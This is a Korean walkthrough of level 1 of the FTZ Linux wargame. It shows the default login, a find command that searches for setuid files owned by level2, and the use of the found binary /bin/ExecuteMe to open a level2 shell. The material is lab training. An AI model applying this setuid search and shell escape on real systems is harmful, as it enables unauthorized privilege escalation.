먼저, Level1에 로그인 합니다.
ID : level1
Password : level1
현재 디렉토리의 파일들을 확인합니다.
ls(list) : 디렉토리(directory)에 있는 내용(디렉토리, 파일 등)을 확인
-a (all) : 숨겨진 파일이나 디렉토리도 표시
-l (long) : 자세한 내용을 출력
[level1@ftz level1]$ ls -al
total 88
drwxr-xr-x 4 root level1 4096 Jan 16 2009 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root root 24 Feb 24 2002 .bash_logout
-rw-rw-r-- 1 root root 224 Feb 24 2002 .bash_profile
-rw-r--r-x 1 root root 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root root 400 Feb 24 2002 .cshrc
-rw-r--r-- 1 root root 4742 Feb 24 2002 .emacs
-rw-r--r-- 1 root root 162 Feb 24 2002 .epems
-r--r--r-- 1 root root 319 Feb 24 2002 .gtkrc
-rw-r--r-- 1 root root 100 Feb 24 2002 .gvimrc
-rw-r--r-- 1 root root 47 Apr 4 2000 hint
-rw-r--r-- 1 root root 226 Feb 24 2002 .muttrc
-rw-r--r-- 1 root root 367 Feb 24 2002 .profile
drwxr-xr-x 2 root level1 4096 Dec 7 2003 public_html
drwxrwxr-x 2 root level1 4096 Jan 16 2009 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 Feb 24 2002 .vimrc
-rw------- 1 root root 106 Mar 6 2000 .Xauthority
-rw-r--r-- 1 root root 245 Feb 24 2002 .Xdefaults
hint 파일이 존재하는 것을 알 수 있습니다.
읽어보자!
cat(catenate) : 파일이름을 인자로 받아서 파일내용을 출력한다.
[level1@ftz level1]$ cat hint
level2 권한에 setuid가 걸린 파일을 찾는다.
*SetUID 란?
SetUID가 설정된 파일을 실행할 때 일시적으로 파일 소유자의 권한을 얻어 실행할 수 있도록 한다.
(실행이 끝나면 원래 아이디로 돌아온다.)
찾아보자!
find : 파일 및 디렉토리를 검색할 때 사용하는 명령어
[level1@ftz level1]$ find / -perm -4000 -user level2 2>/dev/null
/bin/ExecuteMe
-perm -4000
최소한(-) SetUID(4)가 걸린 모든파일(000)을 찾아준다.
-user level2
유저 : level2
2>/dev/null
에러 메시지는 모두 버린다.
실행하자!
[level1@ftz level1]$ /bin/ExecuteMe
레벨2의 권한으로 당신이 원하는 명령어를
한가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$
/bin/bash
level2의 쉘을 실행
비밀번호 확인
[level2@ftz level2]$ my-pass
Level2 Password is
[level2@ftz level2]$
Level1 Clear!!